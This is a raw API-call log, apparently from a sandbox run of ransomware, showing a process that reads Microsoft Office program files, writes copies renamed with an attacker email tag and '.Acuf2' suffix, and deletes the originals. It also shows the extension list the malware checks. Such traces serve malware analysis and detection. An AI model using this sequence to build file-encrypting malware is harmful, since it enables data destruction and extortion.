	[0271.756] ReadFile (in: hFile=0x390, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0xcd90, lpOverlapped=0x0) returned 1
	[0271.765] WriteFile (in: hFile=0x360, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xcda0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xcda0, lpOverlapped=0x0) returned 1
	[0271.766] ReadFile (in: hFile=0x390, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.766] WriteFile (in: hFile=0x360, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0271.766] SetEndOfFile (hFile=0x360) returned 1
	[0271.766] CloseHandle (hObject=0x360) returned 1
	[0271.766] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.766] SetEndOfFile (hFile=0x390) returned 1
	[0271.769] CloseHandle (hObject=0x390) returned 1
	[0271.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.769] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl")) returned 1
	[0271.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57
	[0271.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57
	[0271.770] lstrlenW (lpString=".doc") returned 4
	[0271.770] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0271.770] lstrlenW (lpString=".docx") returned 5
	[0271.770] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1
	[0271.770] lstrlenW (lpString=".pdf") returned 4
	[0271.770] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0271.770] lstrlenW (lpString=".xls") returned 4
	[0271.770] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0271.770] lstrlenW (lpString=".xlsx") returned 5
	[0271.770] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1
	[0271.770] lstrlenW (lpString=".ppt") returned 4
	[0271.770] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0271.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57
	[0271.770] lstrlenW (lpString=".zip") returned 4
	[0271.770] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0271.770] lstrlenW (lpString=".rar") returned 4
	[0271.770] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0271.770] lstrlenW (lpString=".bz2") returned 4
	[0271.770] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0271.770] lstrlenW (lpString=".7z") returned 3
	[0271.770] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0271.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57
	[0271.770] lstrlenW (lpString=".dbf") returned 4
	[0271.770] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0271.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57
	[0271.770] lstrlenW (lpString=".1cd") returned 4
	[0271.770] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0271.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57
	[0271.771] lstrlenW (lpString=".jpg") returned 4
	[0271.771] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0271.835] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.835] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0271.836] GetLastError () returned 0x0
	[0271.836] ReadFile (in: hFile=0x36c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x272, lpOverlapped=0x0) returned 1
	[0271.836] WriteFile (in: hFile=0x35c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x280, lpOverlapped=0x0) returned 1
	[0271.837] ReadFile (in: hFile=0x36c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.837] WriteFile (in: hFile=0x35c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.837] SetEndOfFile (hFile=0x35c) returned 1
	[0271.837] CloseHandle (hObject=0x35c) returned 1
	[0271.837] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.837] SetEndOfFile (hFile=0x36c) returned 1
	[0271.841] CloseHandle (hObject=0x36c) returned 1
	[0271.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.841] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf")) returned 1
	[0271.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62
	[0271.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62
	[0271.842] lstrlenW (lpString=".doc") returned 4
	[0271.842] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1
	[0271.842] lstrlenW (lpString=".docx") returned 5
	[0271.842] lstrcmpiW (lpString1=".docx", lpString2="T.ECF") returned -1
	[0271.842] lstrlenW (lpString=".pdf") returned 4
	[0271.842] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1
	[0271.842] lstrlenW (lpString=".xls") returned 4
	[0271.842] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1
	[0271.842] lstrlenW (lpString=".xlsx") returned 5
	[0271.842] lstrcmpiW (lpString1=".xlsx", lpString2="T.ECF") returned -1
	[0271.842] lstrlenW (lpString=".ppt") returned 4
	[0271.842] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1
	[0271.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62
	[0271.842] lstrlenW (lpString=".zip") returned 4
	[0271.842] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1
	[0271.842] lstrlenW (lpString=".rar") returned 4
	[0271.842] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1
	[0271.842] lstrlenW (lpString=".bz2") returned 4
	[0271.842] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1
	[0271.842] lstrlenW (lpString=".7z") returned 3
	[0271.842] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1
	[0271.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62
	[0271.842] lstrlenW (lpString=".dbf") returned 4
	[0271.842] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1
	[0271.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62
	[0271.842] lstrlenW (lpString=".1cd") returned 4
	[0271.842] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1
	[0271.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62
	[0271.842] lstrlenW (lpString=".jpg") returned 4
	[0271.842] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1
	[0271.843] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=1549152) returned 1
	[0271.844] CloseHandle (hObject=0x36c) returned 1
	[0271.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\umoutlookaddin.dll")) returned 0x20
	[0271.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\umoutlookaddin.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\umoutlookaddin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0271.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68
	[0271.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68
	[0271.844] lstrlenW (lpString=".doc") returned 4
	[0271.844] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0271.844] lstrlenW (lpString=".docx") returned 5
	[0271.844] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0271.844] lstrlenW (lpString=".pdf") returned 4
	[0271.844] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0271.844] lstrlenW (lpString=".xls") returned 4
	[0271.844] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0271.844] lstrlenW (lpString=".xlsx") returned 5
	[0271.844] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0271.844] lstrlenW (lpString=".ppt") returned 4
	[0271.844] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0271.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68
	[0271.844] lstrlenW (lpString=".zip") returned 4
	[0271.844] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0271.844] lstrlenW (lpString=".rar") returned 4
	[0271.844] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0271.844] lstrlenW (lpString=".bz2") returned 4
	[0271.845] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0271.845] lstrlenW (lpString=".7z") returned 3
	[0271.845] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0271.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68
	[0271.845] lstrlenW (lpString=".dbf") returned 4
	[0271.845] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0271.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68
	[0271.845] lstrlenW (lpString=".1cd") returned 4
	[0271.845] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0271.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 68
	[0271.845] lstrlenW (lpString=".jpg") returned 4
	[0271.845] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0271.849] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.849] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0271.851] GetLastError () returned 0x0
	[0271.851] ReadFile (in: hFile=0x36c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x46080, lpOverlapped=0x0) returned 1
	[0271.859] WriteFile (in: hFile=0x35c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x46090, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x46090, lpOverlapped=0x0) returned 1
	[0271.865] ReadFile (in: hFile=0x36c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.865] WriteFile (in: hFile=0x35c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.865] SetEndOfFile (hFile=0x35c) returned 1
	[0271.865] CloseHandle (hObject=0x35c) returned 1
	[0271.865] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.865] SetEndOfFile (hFile=0x36c) returned 1
	[0271.872] CloseHandle (hObject=0x36c) returned 1
	[0271.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng")) returned 1
	[0271.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55
	[0271.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55
	[0271.873] lstrlenW (lpString=".doc") returned 4
	[0271.873] lstrcmpiW (lpString1=".doc", lpString2=".LNG") returned -1
	[0271.873] lstrlenW (lpString=".docx") returned 5
	[0271.873] lstrcmpiW (lpString1=".docx", lpString2="G.LNG") returned -1
	[0271.873] lstrlenW (lpString=".pdf") returned 4
	[0271.873] lstrcmpiW (lpString1=".pdf", lpString2=".LNG") returned 1
	[0271.873] lstrlenW (lpString=".xls") returned 4
	[0271.873] lstrcmpiW (lpString1=".xls", lpString2=".LNG") returned 1
	[0271.873] lstrlenW (lpString=".xlsx") returned 5
	[0271.873] lstrcmpiW (lpString1=".xlsx", lpString2="G.LNG") returned -1
	[0271.873] lstrlenW (lpString=".ppt") returned 4
	[0271.873] lstrcmpiW (lpString1=".ppt", lpString2=".LNG") returned 1
	[0271.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55
	[0271.873] lstrlenW (lpString=".zip") returned 4
	[0271.873] lstrcmpiW (lpString1=".zip", lpString2=".LNG") returned 1
	[0271.873] lstrlenW (lpString=".rar") returned 4
	[0271.873] lstrcmpiW (lpString1=".rar", lpString2=".LNG") returned 1
	[0271.873] lstrlenW (lpString=".bz2") returned 4
	[0271.873] lstrcmpiW (lpString1=".bz2", lpString2=".LNG") returned -1
	[0271.873] lstrlenW (lpString=".7z") returned 3
	[0271.873] lstrcmpiW (lpString1=".7z", lpString2="LNG") returned -1
	[0271.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55
	[0271.873] lstrlenW (lpString=".dbf") returned 4
	[0271.873] lstrcmpiW (lpString1=".dbf", lpString2=".LNG") returned -1
	[0271.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55
	[0271.874] lstrlenW (lpString=".1cd") returned 4
	[0271.874] lstrcmpiW (lpString1=".1cd", lpString2=".LNG") returned -1
	[0271.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55
	[0271.874] lstrlenW (lpString=".jpg") returned 4
	[0271.874] lstrcmpiW (lpString1=".jpg", lpString2=".LNG") returned -1
	[0271.874] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=142776) returned 1
	[0271.874] CloseHandle (hObject=0x36c) returned 1
	[0271.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll")) returned 0x20
	[0271.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchlts.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0271.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61
	[0271.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61
	[0271.875] lstrlenW (lpString=".doc") returned 4
	[0271.875] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0271.875] lstrlenW (lpString=".docx") returned 5
	[0271.875] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0271.875] lstrlenW (lpString=".pdf") returned 4
	[0271.875] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0271.875] lstrlenW (lpString=".xls") returned 4
	[0271.875] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0271.875] lstrlenW (lpString=".xlsx") returned 5
	[0271.875] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0271.875] lstrlenW (lpString=".ppt") returned 4
	[0271.875] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0271.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61
	[0271.875] lstrlenW (lpString=".zip") returned 4
	[0271.875] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0271.875] lstrlenW (lpString=".rar") returned 4
	[0271.875] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0271.875] lstrlenW (lpString=".bz2") returned 4
	[0271.875] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0271.875] lstrlenW (lpString=".7z") returned 3
	[0271.875] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0271.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61
	[0271.875] lstrlenW (lpString=".dbf") returned 4
	[0271.875] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0271.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61
	[0271.875] lstrlenW (lpString=".1cd") returned 4
	[0271.875] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0271.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61
	[0271.876] lstrlenW (lpString=".jpg") returned 4
	[0271.876] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0271.876] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0271.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62
	[0271.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62
	[0271.876] lstrlenW (lpString=".doc") returned 4
	[0271.876] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0271.876] lstrlenW (lpString=".docx") returned 5
	[0271.876] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1
	[0271.876] lstrlenW (lpString=".pdf") returned 4
	[0271.877] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0271.877] lstrlenW (lpString=".xls") returned 4
	[0271.877] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0271.877] lstrlenW (lpString=".xlsx") returned 5
	[0271.877] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1
	[0271.877] lstrlenW (lpString=".ppt") returned 4
	[0271.877] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0271.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62
	[0271.877] lstrlenW (lpString=".zip") returned 4
	[0271.877] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0271.877] lstrlenW (lpString=".rar") returned 4
	[0271.877] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0271.877] lstrlenW (lpString=".bz2") returned 4
	[0271.877] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0271.877] lstrlenW (lpString=".7z") returned 3
	[0271.877] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0271.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62
	[0271.877] lstrlenW (lpString=".dbf") returned 4
	[0271.877] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0271.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62
	[0271.877] lstrlenW (lpString=".1cd") returned 4
	[0271.877] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0271.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62
	[0271.877] lstrlenW (lpString=".jpg") returned 4
	[0271.877] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0271.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0271.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64
	[0271.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64
	[0271.878] lstrlenW (lpString=".doc") returned 4
	[0271.878] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0271.878] lstrlenW (lpString=".docx") returned 5
	[0271.961] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1
	[0271.961] lstrlenW (lpString=".pdf") returned 4
	[0271.962] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0271.962] lstrlenW (lpString=".xls") returned 4
	[0271.962] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0271.962] lstrlenW (lpString=".xlsx") returned 5
	[0271.962] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1
	[0271.962] lstrlenW (lpString=".ppt") returned 4
	[0271.962] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0271.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64
	[0271.962] lstrlenW (lpString=".zip") returned 4
	[0271.962] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0271.962] lstrlenW (lpString=".rar") returned 4
	[0271.962] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0271.962] lstrlenW (lpString=".bz2") returned 4
	[0271.962] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0271.962] lstrlenW (lpString=".7z") returned 3
	[0271.962] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0271.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64
	[0271.962] lstrlenW (lpString=".dbf") returned 4
	[0271.962] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0271.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64
	[0271.962] lstrlenW (lpString=".1cd") returned 4
	[0271.962] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0271.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64
	[0271.962] lstrlenW (lpString=".jpg") returned 4
	[0271.962] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0272.128] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.128] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0272.129] GetLastError () returned 0x0
